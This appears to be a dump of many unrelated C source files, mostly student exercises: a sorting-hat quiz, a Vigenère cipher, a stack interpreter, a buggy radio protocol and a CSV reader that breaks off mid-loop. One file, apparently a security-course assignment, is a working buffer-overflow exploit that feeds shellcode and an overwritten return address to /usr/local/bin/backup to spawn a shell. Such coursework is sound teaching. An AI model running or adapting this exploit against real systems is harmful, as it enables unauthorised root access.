language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
/************************************************************************\
Copyright 2008 University Corporation for Atmospheric Research.
All rights reserved.
Use of this code is subject to UCAR's standard Terms of Use,
which can be found at http://www.ucar.edu/legal/terms_of_use.shtml .
By using this source code, you agree to abide by those Terms of Use.
\*************************************************************************/
/** \page SkewToverview SkewT Overview
* \section SkewTintroduction SkewT Introduction
*
* SkewT provides a generic implementation of the aerological diagram
* which utilizes a skewed temperature scale for the horizontal axis and
* an inverted logrithmic pressure scale for the vertical axis. For a
* good reference on aerological diagrams, see:
* J. V. Iribarne and W. L. Godson, <i>Atmospheric Thermodynamics</i>,
* D. Reidel, Boston (1973).
*
* SkewT formulates the diagram in a virtual coordinate space, and then
* calls a class derived from SkewTAdapter, to render the diagram
* for a particular graphics environment. Example enviroments might be
* Trolltech Qt, or a Microsoft Windows graphing component.
*
* The only data required by SkewT are pressure, temperature,
* relative humidity, wind speed and wind direction.
*
* The functionality of SkewT is somewhat dependent upon the SkewTAdapter,
* which is correspondingly dependent on the graphics subsystem that it is
* designed for. In some cases, all of the graph data must be provided at
* construction time, and a static graph will be created. In other cases,
* a "real-time" update mode is possible, where data points may be incrementally
* added to the graph.
*
* \section SkewTusage SkewT Usage
*
* To create a SkewT, the user first creates an appropriate SkewTAdapter.
* The adapter is then provided to the SkewT constructor. Arrays of data
* can optionally be provided at construction time, along with
* labelling information.
*
* After construction, the graph is drawn by calling SkewT::draw(). If the adapter supports
* real-time updates, SkewT::drawTdry(double pres, double tdry) and
* SkewT::drawDp(double pres, double tdry, double RH) can be called to
* add data points to the plot.
*
* The SkewT::print(), SkewT::maximize(), SkewT::zoomin(), and SkewT::unzoom()
* methods will call the corresponding methods in the adapter. It is up to the
* adapter implementation as to whether or not these functions are supported.
*
* @todo SkewT::drawDp(double pres, double tdry, double RH) should really be changed
* to drawRH() in order to maintain consistency with the constructor.
*
*
* \section SkewTinternals How It Works
*
* SkewT thinks of the drawing area as a rectilinear "page", with x and y coordinates
* spanning 0.0 to 1.0. Upon this page there can be multiple rectangles (Rect),
* occupying a fraction of the main drawing page, and
* each having its own x and y virtual coordinate space spanning 0.0 to 1.0. The
* rectangles allow the page to be broken up into independent areas for the thermodynamic
* data, the wind barbs, and labelling.
*
* The only way to draw on the SkewT page is through a Rect. It provides
* methods for drawing symbols, text, and lines. It will also perform clipping
* on a line draw request, and only render the segment within the rectangle. This
* is very useful when drawing the weird and wonderful isopleths that make up a
* skewt. The user of the rectangle can assume a much larger drawing area, based on
* a physical (e.g. thermodynamic) range, and let the Rect constrain the
* drawing to fall within the rectangle. Note that multiple Rect objects can
* be drawing on the same page area of the graph. Rect calls the SkewTAdapter
* to perform the drawing.
*
* Classes derived from Rect implement coordinate transformations. For instance,
* PresRect (derived from Rect) transforms a pressure coordinate into
* a logrithmic y value. SkewTRect (derived from PresRect) transforms
* a temperature coordinate into an x coordinate, and passes the pressure coordinate onto
* PresRect.
*
* Classes derived from Rect (or more typically, its subclasses) are used
* to draw families of objects, such as adiabats, isotherms, isopleths of mixing
* ration, and so on.
*
* For the most part, the SkewTAdapter does not know much about what it is drawing; i.e. it
* implements drawing primatives for simple objects such as lines, text and symbols.
* However, there are member functions that are called to render the actual temperature and
* dewpoint data. This is because some graphics packages will have higher level
* abstractions for data curves, and the adapter may wish to take advantage of this
* functionality. A SkewTtrace collects data values, and will iteratively call the
* corresponding temperature or dewpoint drawing method.
*
* The major components contained within a completed SkewT are:
* <ul>
* <li> A number of objects derived from SkewTRect, used to render the various
* isopleths.
* <li> Two SkewTtrace objects, for the temperature and dewpoint traces.
* <li> A WindBarbs object, which will draw the wind barbs.
* <li> A reference to a SkewTAdapter.
* </ul>
*
*
*/
|
C
|
#include <stdio.h>
#include <stdbool.h>
#include "sombrero.h"
#define LIMITE_ATRIBUTO_NORMAL 8
#define MAXIMA_CANTIDAD_SUPERATRIBUTOS 2
#define STRING_FUERZA "Fuerza"
#define STRING_VALOR "Valor"
#define STRING_INTELIGENCIA "Inteligencia"
#define STRING_INGENIO "Ingenio"
#define STRING_DEDICACION "Dedicacion"
#define GRYFFINDOR 'G'
#define RAVENCLAW 'R'
#define SLYTHERIN 'S'
#define HUFFLEPUFF 'H'
int contar_super_atributos (int fuerza, int valor, int ingenio, int dedicacion, int inteligencia){
int contador_super_atributos=0;
if (fuerza>LIMITE_ATRIBUTO_NORMAL) {
contador_super_atributos++;
}
if (valor>LIMITE_ATRIBUTO_NORMAL) {
contador_super_atributos++;
}
if (ingenio>LIMITE_ATRIBUTO_NORMAL) {
contador_super_atributos++;
}
if (dedicacion>LIMITE_ATRIBUTO_NORMAL) {
contador_super_atributos++;
}
if (inteligencia>LIMITE_ATRIBUTO_NORMAL) {
contador_super_atributos++;
}
return contador_super_atributos;
}
//en los sigueintes 3 bool
//se analizan los valores de los atributos
// y se ve si se pertenece a la casa cuyas
//condiciones están siendo comparadas
bool es_slytherin(int fuerza, int valor, int ingenio, int inteligencia, int dedicacion) {
return (inteligencia>5)&&(inteligencia<8)&&(ingenio>8);
}
bool es_ravenclaw(int fuerza, int valor, int ingenio, int inteligencia, int dedicacion) {
return (ingenio>8)&&(inteligencia>8);
}
bool es_gryffindor(int fuerza, int valor, int ingenio, int inteligencia, int dedicacion) {
return (fuerza>8)&&(valor>8)&&(ingenio<5);
}
void mostrar_casa(int fuerza, int valor,int ingenio, int inteligencia, int dedicacion){
bool pertenece_a_gryffindor = es_gryffindor(fuerza, valor, ingenio, inteligencia, dedicacion);
bool pertenece_a_ravenclaw = es_ravenclaw(fuerza, valor, ingenio, inteligencia, dedicacion);
bool pertenece_a_slytherin = es_slytherin(fuerza, valor, ingenio, inteligencia, dedicacion);
if (pertenece_a_gryffindor) {
printf("Su casa es Gryffindor\n");
}
else if (pertenece_a_ravenclaw) {
printf("Su casa es Ravenclaw\n");
}
else if (pertenece_a_slytherin) {
printf("Su casa es Slytherin\n");
}
else {
printf("Su casa es Hufflepuff\n");
}
}
void listar_super_atributos(int fuerza, int valor, int ingenio, int dedicacion, int inteligencia) {
if (fuerza>LIMITE_ATRIBUTO_NORMAL) {
printf("Fuerza\n");
}
if (valor>LIMITE_ATRIBUTO_NORMAL) {
printf("Valor\n");
}
if (ingenio>LIMITE_ATRIBUTO_NORMAL) {
printf("Ingenio\n");
}
if (dedicacion>LIMITE_ATRIBUTO_NORMAL) {
printf("Dedicacion\n");
}
if (inteligencia>LIMITE_ATRIBUTO_NORMAL) {
printf("Inteligencia\n");
}
}
//la funcion se encarga de obtener el valor
//de un atributo específico y se asegura de que este esté
//dentro del rango pedido
void determinar__atributo(int* indice_atributo, char nombre_atributo[]){
do {
printf("%s:", nombre_atributo);
scanf("%i", indice_atributo);
if ((*indice_atributo<0)||(*indice_atributo>10)) {
printf("Valor del atributo fuera del rango asignado,\n");
printf("por favor ingrese un número de 0 a 10\n");
}
} while((*indice_atributo<0)||(*indice_atributo>10));
}
char obtener_casa() {
int fuerza, valor, inteligencia, ingenio, dedicacion;
int cantidad_super_atributos=0;
bool pertenece_a_gryffindor = false;
bool pertenece_a_ravenclaw = false;
bool pertenece_a_slytherin = false;
char casa='a';
printf("Bienvenido al sombrero seleccionador, para que su casa sea\n");
printf("elegida, deberá introducir valores de 0 a 10 para los\n");
printf("atributos que serán presentados. No debe haber más de dos\n");
printf("super atributos, que son aquellos con un valor de 9 o 10:\n");
do {
//codigo para pedido de atributos y determinación de super atributos
determinar__atributo(&fuerza, STRING_FUERZA);
determinar__atributo(&valor, STRING_VALOR);
determinar__atributo(&inteligencia, STRING_INTELIGENCIA);
determinar__atributo(&ingenio, STRING_INGENIO);
determinar__atributo(&dedicacion, STRING_DEDICACION);
cantidad_super_atributos = contar_super_atributos(fuerza, valor, ingenio, dedicacion, inteligencia);
if (cantidad_super_atributos>MAXIMA_CANTIDAD_SUPERATRIBUTOS) {
printf("Superó la cantidad de super atributos, los suyos fueron:\n");
listar_super_atributos(fuerza, valor, ingenio, dedicacion, inteligencia);
printf("Por favor, reingrese sus atributos:\n");
}
} while(cantidad_super_atributos>2);
mostrar_casa(fuerza, valor, ingenio, inteligencia, dedicacion);
pertenece_a_gryffindor = es_gryffindor(fuerza, valor, ingenio, inteligencia, dedicacion);
pertenece_a_ravenclaw = es_ravenclaw(fuerza, valor, ingenio, inteligencia, dedicacion);
pertenece_a_slytherin = es_slytherin(fuerza, valor, ingenio, inteligencia, dedicacion);
if (pertenece_a_gryffindor) {
casa=GRYFFINDOR;
}
else if (pertenece_a_ravenclaw) {
casa=RAVENCLAW;
}
else if (pertenece_a_slytherin) {
casa=SLYTHERIN;
}
else {
casa=HUFFLEPUFF;
}
return casa;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#include <time.h>
#include <signal.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <string.h>
#include <pthread.h>
#include <math.h>
/* ２つの文字列比較を行い、str1 eq str2なら0、それ以外は1を返す */
/* 注意 len(str1)<len(str2)は想定していない */
/* str1:比較対象 */
/* str2:探索パターン */
/* len : str2の文字列長 */
static int isSameStr(char *str1, char *str2, int len) {
int i, sameNum = 0;
int isHit = 0;
/* printf("call\n"); */
for(i=0; i<len; i++) {
if (strncmp(str1+i, str2, len)==0) {
/* printf("str1 %s, str2 %s len%d\n",str1+i, str2, len); */
isHit = 1;
break;
}else {
sameNum=0;
}
}
/* printf("end\n"); */
/* 文字列str1, str2がlen分同じ文字列を抱えている:0 else 1*/
if(isHit) {
return i;
} else {
return -1;
}
}
/* IPアドレス置換 */
/* X.X.Y.Xという形式のアドレス(X部分は何が入っていてもよい)を置換基アドレスorig_net==Yとし、 */
/* aft_net==ZとしたときX.X.Z.Xに置換する */
static struct in_addr changeIP (struct in_addr ip_addr, int orig_net, int aft_net) {
char s_orig_ip [20];
char s_orig_net[5], s_aft_net[5];
int s_aft_net_size, s_orig_net_size;
int cnt, end;
int hit = 0;
struct in_addr aft_ip;
int loc = 0;
sprintf(s_orig_ip, "%s", inet_ntoa(ip_addr));
sprintf(s_orig_net, ".%d" ,orig_net);
sprintf(s_aft_net, ".%d" ,aft_net);
printf("origip %s, net %s aft %s\n", s_orig_ip, s_orig_net, s_aft_net); /* */
s_orig_net_size = strlen(s_orig_net);
s_aft_net_size = strlen(s_aft_net);
end = strlen(s_orig_ip) - strlen(s_orig_net);
for(cnt = 0; cnt < end; cnt++) {
//printf("call %s\n",s_orig_ip+cnt);
if((loc = isSameStr(s_orig_ip+cnt, s_orig_net, s_orig_net_size)) >= 0) {
//printf("s_orig_ip+cnt %s, s_orig_net %s\n",s_orig_ip+cnt, s_orig_net);
hit = 1;
break;
}
}
/* 置換 */
if (hit) {
strncpy(s_orig_ip+cnt+loc, s_aft_net, s_aft_net_size);
/* printf("s_aft ip %s\n" */
/* ,s_orig_ip); */
}
inet_aton(s_orig_ip, &aft_ip);
return aft_ip; /* パターン一致がない場合、オリジナルのIPアドレスが返る */
}
int main()
{
char ip1[20] = "192.168.30.254";
int orig = 30, aft = 50;
struct in_addr ipaddr;
inet_aton(ip1, &ipaddr);
printf("prig %s\n",inet_ntoa(ipaddr));
ipaddr = changeIP(ipaddr, orig, aft);
printf("aft %s\n",inet_ntoa(ipaddr));
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* utils.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: zskeeter <zskeeter@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/04/25 13:25:26 by zskeeter #+# #+# */
/* Updated: 2021/04/25 20:22:20 by zskeeter ### ########.fr */
/* */
/* ************************************************************************** */
#include "../../cub.h"
void init_str_and_map(char **str, t_map *map)
{
*str = NULL;
map->list = NULL;
map->res.x = 0;
map->res.y = 0;
map->res.defined = 0;
map->we = NULL;
map->ea = NULL;
map->so = NULL;
map->no = NULL;
map->s = NULL;
map->c_colors.defined = 0;
map->f_colors.defined = 0;
map->pos.x = 0;
map->pos.y = 0;
}
void miss_zeros(char **res_x, char **res_y)
{
while (**res_x == '0')
(*res_x)++;
while (**res_y == '0')
(*res_y)++;
}
int get_min(int a, int b)
{
if (a < b)
return (a);
else
return (b);
}
int count_commas(char *str)
{
int res;
res = 0;
while (*str)
{
if (*str == ',')
res++;
str++;
}
return (res);
}
size_t ft_strlen_without_spaces(char *str)
{
size_t len;
while (*str == ' ')
str++;
len = ft_strlen(str);
while (str[len - 1] == ' ')
len--;
return (len);
}
|
C
|
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <stdbool.h>
int main(int argc, char** argv){
int numberToGuess = 0;
int upperBound = -1;
int lastGuess = 0;
char hardModeDecide = 'a';
bool guessedAlready = 0;
bool hardMode = 0;
if(argc == 2){
if(strcmp(argv[1], "-help") == 0 || strcmp(argv[1], "--help") == 0){
printf("NumberGuess -HardMode(1 = on, 0 = off)");
return 0;
}else if(strcmp(argv[1], "1")==0){
hardMode = 1;
printf("HardMode Activated Prepare for pain!\n");
}
}else if(argc == 1){
printf("Would you like to activate hardMode?\n(y/n): ");
scanf("%c", &hardModeDecide);
if(hardModeDecide == 'y'){
hardMode = 1;
printf("HardMode Activated Prepare for pain!\n");
}
}else{
printf("Too many or too few arguments");
return 0;
}
srand(time(NULL));
while(upperBound <= 1){
printf("How many possible numbers do you want?\nPossible Numbers: ");
scanf("%d", &upperBound);
if(upperBound <= 1){
printf("Please choose a number greater than 1\n");
}
}
numberToGuess = rand() % upperBound;
do{
if(hardMode){
numberToGuess = rand() % upperBound;
}
if(guessedAlready){
printf("%d was incorrect. Please try again.\nGuess(between 0 and %d): ", lastGuess, upperBound - 1);
scanf("%d", &lastGuess);
}else{
printf("Guess a number between 0 and %d\nGuess: ", upperBound - 1);
scanf("%d", &lastGuess);
guessedAlready = 1;
}
}while(lastGuess != numberToGuess);
printf("%d was the correct answer!! Good Guessing!!\nThanks for playing!", lastGuess);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "matriz_Esparsa.h"
int main(int argc, char *argv[])
{
//Definindo as matrizes
Matriz* matriz1;
Matriz* matriz2;
Matriz* matriz_Soma;
// Definindo os paramentros de entrada dos arquivos
char *nome_Arquivo1 = argv[1];
char *nome_Arquivo2 = argv[2];
FILE *pointer_File1 = fopen(nome_Arquivo1, "rt");
FILE *pointer_File2 = fopen(nome_Arquivo2, "rt");
int linha, coluna, tamanho;
float elemento;
// Lendo a primeira linha do arquivo pra definir o tamanho da matriz 1
fscanf(pointer_File1 , "%d", &tamanho);
matriz1 = Matriz_Criar(tamanho);
//Lendo a primeira linha do arquivo pra definir o tamanho da matriz 2
fscanf(pointer_File2, "%d", &tamanho);
matriz2 = Matriz_Criar(tamanho);
//lendo os elementos do arquivo até acabar as linhas
while(fscanf(pointer_File1, "%d;%d;%f ", &linha, &coluna, &elemento) != EOF) {
matriz1 = insere_Celula(matriz1, linha-1, coluna-1, elemento);
}
while(fscanf(pointer_File2, "%d;%d;%f", &linha, &coluna, &elemento) != EOF) {
matriz2 = insere_Celula(matriz2, linha-1, coluna-1, elemento);
}
matriz_Soma = soma_Matriz(matriz1, matriz2);
//print matriz soma, fechando arquivos e desalocando a matriz.
print_Matriz(matriz_Soma);
fclose(pointer_File1);
fclose(pointer_File2);
desaloca_Matriz(matriz_Soma);
return 0;
}
|
C
|
/*
** EPITECH PROJECT, 2021
** Workshop_Linked_lists
** File description:
** my_list
*/
#ifndef MY_LIST_H_
#define MY_LIST_H_
struct node
{
char *data;
struct node *next;
};
typedef struct node node_t;
typedef struct node list_t;
int my_put_in_list(list_t **list, char *data);
int my_append_to_list(list_t **list, char *data);
int my_list_size(list_t *list);
void my_show_list(list_t *list);
list_t *my_params_to_list(int argc, char **argv);
void my_free_list(list_t **list);
#endif /* !MY_LIST_H_ */
|
C
|
/**
* vigenere.c
*
* Lisa Carson
* User types in a keyword
* User types in text encrypted
*/
#include <stdio.h>
#include <cs50.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
int main(int argc, string argv[])
{
// checks that there is only one keyword
if (argc != 2)
{
printf("Error\n");
return 1;
}
// sets k as argv
string k = argv[1];
for (int j = 0; j < strlen(argv[1]); j++)
{
// checks if the keyword is alpha
if (!isalpha(argv[1][j]))
{
printf("Error \n");
return 1;
}
}
// gets plaintext from user
string plaintext = GetString();
for(int i = 0, j = 0, n = strlen(plaintext), klen = strlen(k) ; i < n; i++)
{
// check if plain text is alpha
if (isalpha(plaintext[i]))
{
// outputs cipher
if (islower(plaintext[i]) && islower(k[j % klen]))
{
int kalpha = k[j % klen] - 97;
int alpha = plaintext[i] - 97;
int newalpha = (alpha + kalpha) % 26;
int cipher = newalpha + 97;
printf("%c", cipher);
j++;
}
// outputs cipher
else if (islower(plaintext[i]) && isupper(k[j % klen]))
{
int kalpha = k[j % klen] - 65;
int alpha = plaintext[i] - 97;
int newalpha = (alpha + kalpha) % 26;
int cipher = newalpha + 97;
printf("%c", cipher);
j++;
}
// outputs cipher
else if (isupper(plaintext[i]) && isupper(k[j % klen]))
{
int kalpha = k[j % klen] - 65;
int alpha = plaintext[i] - 65;
int newalpha = (alpha + kalpha) % 26;
int cipher = newalpha + 65;
printf("%c", cipher);
j++;
}
// outputs cipher
else if (isupper(plaintext[i]) && islower(k[j % klen]))
{
int kalpha = k[j % klen] - 97;
int alpha = plaintext[i] - 65;
int newalpha = (alpha + kalpha) % 26;
int cipher = newalpha + 65;
printf("%c", cipher);
j++;
}
}
// prints non alpha characters
else if (!isalpha(plaintext[i]))
{
printf("%c", plaintext[i]);
}
}
printf("\n");
return 0;
}
|
C
|
#include <stdio.h>
int main(void)
{
FILE *fp;
double pi = 3.14159265358979323846;
printf("変数piから取り出した円周率は%23.21fです。\n", pi);
if((fp = fopen("PI.txt", "w")) == NULL){
printf("\aファイルをオープン出来ません。\n");
}else{
fprintf(fp, "%f", pi);
fclose(fp);
}
if((fp = fopen("PI.txt", "r")) == NULL){
printf("\aファイルをオープン出来ません。\n");
}else{
fscanf(fp, "%lf", &pi);
printf("ファイルから読み取った円周率は%23.21fです。\n", pi);
fclose(fp);
}
return 0;
}
|
C
|
// Function to create a casesar cipher
//
//
// This program was written by Jake Edwards (z5165158)
// on 15/07/2021
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define LENGTH 256
int decode(int input,char *identity);
int main(int argc, char *argv[]) {
int pos;
char string[LENGTH];
fgets(string, LENGTH, stdin);
scanf("%d", &pos);
printf("The character in position %d is '%c'\n", pos, string[pos]);
return 0;
}
|
C
|
/*
* ecg.c
*
*
*/
// Implements
#include "ecg.h"
#include "radio.h"
#include "alarm.h"
// Uses
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define timeout 200
#define BUFLEN 4096
#define DATA 0
#define ACK 1
#define REQ 2
#define TERMINATION 3
int sock; // UDP Socket used by this node
typedef struct { char tag ; } tag_t ;
typedef struct {
tag_t type;
//int nr;
char str[64];
} data_pdu_t;
typedef struct {
tag_t type;
//int nr;
} termination_pdu_t;
typedef struct {
tag_t type;
int totalLen;
} req_pdu_t;
typedef struct {
tag_t type;
} ack_pdu_t;
typedef union {
char raw[72];
tag_t pdu_type;
data_pdu_t data;
ack_pdu_t ack;
req_pdu_t req;
termination_pdu_t termination;
} pdu_frame_t;
#define DATA_PAYLOAD_SIZE 64
int ecg_init(int addr) {
return radio_init(addr);
}
int ecg_send(int dst, char* packet, int len, int to_ms) {
struct sockaddr_in sa; // Structure to hold destination address
pdu_frame_t buf;
alarm_t timer1;
int src, time_left;
alarm_init(&timer1);
int err;
int ack1 = 1;
int done = 0;
// Check that port and len are valid
if ((dst<1024)|(dst >65535)){
return ERR_INVAL;
}
if (len>4096){
return ERR_INVAL;
}
//start overall timer
alarm_set(&timer1, to_ms);
int sentNow = 0;
int temp = 0;
while (temp != 1) {
buf.req.type.tag = REQ;
buf.req.totalLen = len;
if ((err = radio_send(dst, buf.raw, (sizeof(req_pdu_t)))) == ERR_OK){
temp = 1;
}
}
while(ack1>=ERR_OK && !alarm_expired(&timer1)&& (sentNow>=len))
{
time_left = alarm_rem(&timer1);
if (buf.pdu_type.tag != ACK) {
printf("Non-ACK packcet with length %d received\n", ack1);
continue;
}
// Check sender
if (src != dst) {
printf("Wrong sender: %d\n", src);
continue;
}
buf.data.type.tag = DATA;
if ( !(sentNow+64) > len){
memcpy(buf.data.str, packet[sentNow], 64 );
sentNow = sentNow+64;
continue;
} else {
memcpy(buf.data.str, packet[sentNow], (len-sentNow));
sentNow = len;
continue;
}
if ( (err=radio_send(dst, buf.raw, sizeof(buf.raw))) != ERR_OK) {
printf("radio_send in ecg_send failed with %d\n", err);
return ERR_FAILED;
}
ack1 = radio_recv(&src, buf.raw, time_left);
}
if (alarm_expired(&timer1)){
return ERR_TIMEOUT;
}
if (sentNow == len){
buf.termination.type.tag = TERMINATION;
if ( (err=radio_send(dst, buf.raw, sizeof(buf.raw))) != ERR_OK)
{
printf("radio_send in ecg_send failed with %d\n", err);
return ERR_FAILED;
}
}
return ERR_OK;
}
int ecg_recv( int * src , char * packet , int len , int to_ms) {
pdu_frame_t buf;
int err;
alarm_t timer2;
alarm_init(&timer2);
alarm_set(&timer2,to_ms) ;
int reqReceiv = 1;
/* READY STATE */
int msgReceived = 0;
int totLen = 4096;
char msg[4096];
int temp1 = 1;
while(temp1){
err=radio_recv(src, buf.raw, -1);
// Somehting received -- check if REQ.
if ((buf.req.type.tag == REQ)) {
reqReceiv = 1;
if (buf.req.totalLen >4096){
return ERR_INVAL;
}
printf("Length of message sent: %d\n",buf.req.totalLen);
totLen = buf.req.totalLen;
}
char msg[totLen];
if (err == -3){
return ERR_TIMEOUT;
}
buf.ack.type.tag = ACK;
if ( (err=radio_send(*src, buf.raw, sizeof(buf.raw))) != ERR_OK) {
printf("radio_send failed to send ack with %d\n", err);
return ERR_FAILED;
}
temp1 = 0;
}
temp1 = 1;
// This last part fucks us up.
while ((reqReceiv == 1) && (msgReceived<totLen)){
err=radio_recv(&src, buf.raw, alarm_rem(&timer2));
if (buf.pdu_type.tag == DATA){
memcpy(msg[msgReceived], buf.data.str ,sizeof(buf.raw));
msgReceived = msgReceived+sizeof(buf.raw);
}
if (alarm_expired(&timer2)){
return ERR_TIMEOUT;
}
if (buf.pdu_type.tag == TERMINATION){
printf("Received message from %d: %s\n", src, msgReceived);
}
buf.ack.type.tag = ACK;
// Send acknowledgement to sender
if ((err=radio_send(src, buf.raw, sizeof(ack_pdu_t))) != ERR_OK) {
printf("radio_send failed with %d\n", err);
return ERR_FAILED;
}
}
/* ACKNOWLEDGE STATE */
// Prepare frame seen as ACK PDU
if ((err=radio_send(src,buf.raw,sizeof(ack_pdu_t))) != ERR_OK){
printf("radio_send failed with %d\n", err);
return ERR_FAILED;
}
// Send acknowledgement to sender
//=radio_send(src, buf.raw, sizeof(ack_pdu_t))) != ERR_OK) {
// printf("radio_send failed with %d\n", err);
// return ERR_FAILED;
//}
/* DONE STATE */
printf("Received message from: %d\n", src);
return msgReceived;
}
|
C
|
/*
* Author: Lawson Fulton
* Student#: 20381453
* ID: ljfulton
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define TARGET "/usr/local/bin/backup"
#define DEFAULT_OFFSET 10
#define DEFAULT_BUFFER_SIZE 3072
#define NOP 0x90
/*
* Aleph One shellcode.
*/
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void write_sploit_file(char *filename)
{
FILE *fp;
int buffer_size = DEFAULT_BUFFER_SIZE;
int shellcode_size = sizeof(shellcode) - 1;
unsigned int addr = 0xffbfd1f0;
int i_val = 3072;
int i = 0;
fp = fopen(filename,"w");
/*Pad with NOPs*/
for(i = 0; i < buffer_size - shellcode_size; i++) {
putc(NOP,fp);
}
/*Shellcode goes right at the end of the buffer*/
fputs(shellcode,fp);
/*Special case for int i; in backup*/
fwrite(&i_val, 4, 1, fp);
/*Write the address of the buffer over the FP*/
for(i = 0; i < DEFAULT_OFFSET; i++) {
fwrite(&addr, 4, 1, fp);
}
fclose(fp);
}
int main(void)
{
char filename[] = "foo";
write_sploit_file(filename);
system("/usr/local/bin/backup backup foo");
remove(filename);
exit(0);
}
|
C
|
#include "monty.h"
/**
* push_opt - pushes an element to the stack
* @head: head of stack
* @ln: line number
* Return: void
*/
void push_opt(stack_t **head, unsigned int ln)
{
int node, i = 0;
if (aux.val)
{
if (aux.val[0] == '-')
i++;
for (; aux.val[i] != '\0'; i++)
{
if (isdigit(aux.val[i]) == 0)
{
fprintf(stderr, "L%d: usage: push integer\n", ln);
fclose(aux.file);
free(aux.line_inf);
free_nodes(*head);
exit(EXIT_FAILURE);
}
}
}
else
{
fprintf(stderr, "L%d: usage: push integer\n", ln);
fclose(aux.file);
free(aux.line_inf);
free_nodes(*head);
exit(EXIT_FAILURE);
}
node = atoi(aux.val);
if (aux.flag_sq == 0)
add_node(head, node);
else
add_node_end(head, node);
}
/**
* pall_opt - prints all the values on the stack, starting from the
* top of the stack
* @head: head of stack
* @ln: line number
* Return: void
*/
void pall_opt(stack_t **head, unsigned int ln)
{
stack_t *temp;
(void)ln;
temp = *head;
if (temp == NULL)
return;
while (temp)
{
printf("%d\n", temp->n);
temp = temp->next;
}
}
/**
* pint_opt - prints the value at the top of the stack, followed by a new line
* @head: head of stack
* @ln: line number
* Return: void
*/
void pint_opt(stack_t **head, unsigned int ln)
{
if (*head == NULL)
{
fprintf(stderr, "L%u: can't pint, stack empty\n", ln);
fclose(aux.file);
free(aux.line_inf);
free_nodes(*head);
exit(EXIT_FAILURE);
}
printf("%d\n", (*head)->n);
}
/**
* pop_opt - removes the top element of the stack
* @head: head of stack
* @ln: line number
* Return: void
*/
void pop_opt(stack_t **head, unsigned int ln)
{
stack_t *temp;
if (*head == NULL)
{
fprintf(stderr, "L%d: can't pop an empty stack\n", ln);
fclose(aux.file);
free(aux.line_inf);
free_nodes(*head);
exit(EXIT_FAILURE);
}
temp = *head;
*head = temp->next;
free(temp);
}
/**
* swap_opt - swaps the top two elements of the stack
* @head: head of stack
* @ln: line number
* Return: void
*/
void swap_opt(stack_t **head, unsigned int ln)
{
stack_t *temp;
int len = 0, swap;
temp = *head;
while (temp)
{
temp = temp->next;
len++;
}
if (len < 2)
{
fprintf(stderr, "L%d: can't swap, stack too short\n", ln);
fclose(aux.file);
free(aux.line_inf);
free_nodes(*head);
exit(EXIT_FAILURE);
}
temp = *head;
swap = temp->n;
temp->n = temp->next->n;
temp->next->n = swap;
}
|
C
|
//ME04_2.c
//pointers
#include<stdio.h>
void swap(int *num1, int *num2){
//swap
int swapper;
swapper = *num1;
*num1 = *num2;
*num2 = swapper;
}
int main(void){
int a, b;
printf("Enter num1: ");
scanf("%d", &a);
printf("Enter num2: ");
scanf("%d", &b);
swap(&a, &b);
printf("Exchanged: A = %d, B = %d \n", a, b);
return 0;
}
|
C
|
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>
#define TAILLETAB 100
struct PoulsDonnees
{
int pouls;
int temps;
struct PoulsDonnees *next;
struct PoulsDonnees *last;
};
void libererDonneesPoul(struct PoulsDonnees **listePouls)
{
free(listePouls[0]);
}
// Cre une transition avec un character et un tat final
// c - caractre de la transition
// e2 - tat suivant aprs la lecture du caractre c
struct PoulsDonnees *creerDonneePoul(int poul, int temps)
{
struct PoulsDonnees *t = NULL;
//allouer la transition et assigner les valeurs
t = malloc(sizeof(struct PoulsDonnees));
t->pouls = poul;
t->temps = temps;
t->next = NULL;
return t;
}
// Ajout une transition dans l'automate. La transition sera rajoute par la tte de la liste
// e1 - etat initial de la transition. L'tat correspond l'indice du tableau 'automate'
// t - transition
void ajouterDonneePoul(struct PoulsDonnees **listePouls, struct PoulsDonnees *donneePoul)
{
if (listePouls[0] == NULL)
{
listePouls[0] = donneePoul;
listePouls[0]->last = donneePoul;
}
else
{
listePouls[0]->last->next = donneePoul;
listePouls[0]->last = donneePoul;
}
}
void lireFichier(struct PoulsDonnees **listePouls)
{
FILE *f = NULL; // reprsente un fichier en C
int poul, temps; // e1 etat initial d'une transition et e2 tat final d'une transition
char tab[TAILLETAB]; // Chane de caractres qui nous servira pour la lecture ligne par ligne du fichier (~buffer de lecture)
struct PoulsDonnees *t = NULL; // Pointeur vers une transition
// Ouverture du du fichier
f = fopen("./dataPouls.csv", "r");
// Vrifier si le fichier a bien t ouvert. Sinon, envoyer une erreur et sortir du programme
if (!f)
{
printf("Le fichier dataPouls.csv n'a pas pu etre lu !");
fclose(f);
exit(1);
}
// Lecture de toutes les transitions de l'automate - Lit ligne par ligne jusqu' la fin du fichier
while (fgets(tab, TAILLETAB, f) != NULL)
{
//Rcuprer dans les variables e1, c et e2 les valeurs lues dans le fichier et qui ont t stockes dans tab l'aide de la fonction sscanf()
sscanf(tab, "%d ;%d", &poul, &temps);
//Crer une transition avec c et e2 (faire appel des fonctions dj dfinies dans ce mme fichier)
t = creerDonneePoul(poul, temps);
//Ajouter la transition cre dans l'automate en utilisant e1 comme indice du tableau 'automate' (faire appel des fonctions dj dfinies dans ce mme fichier)
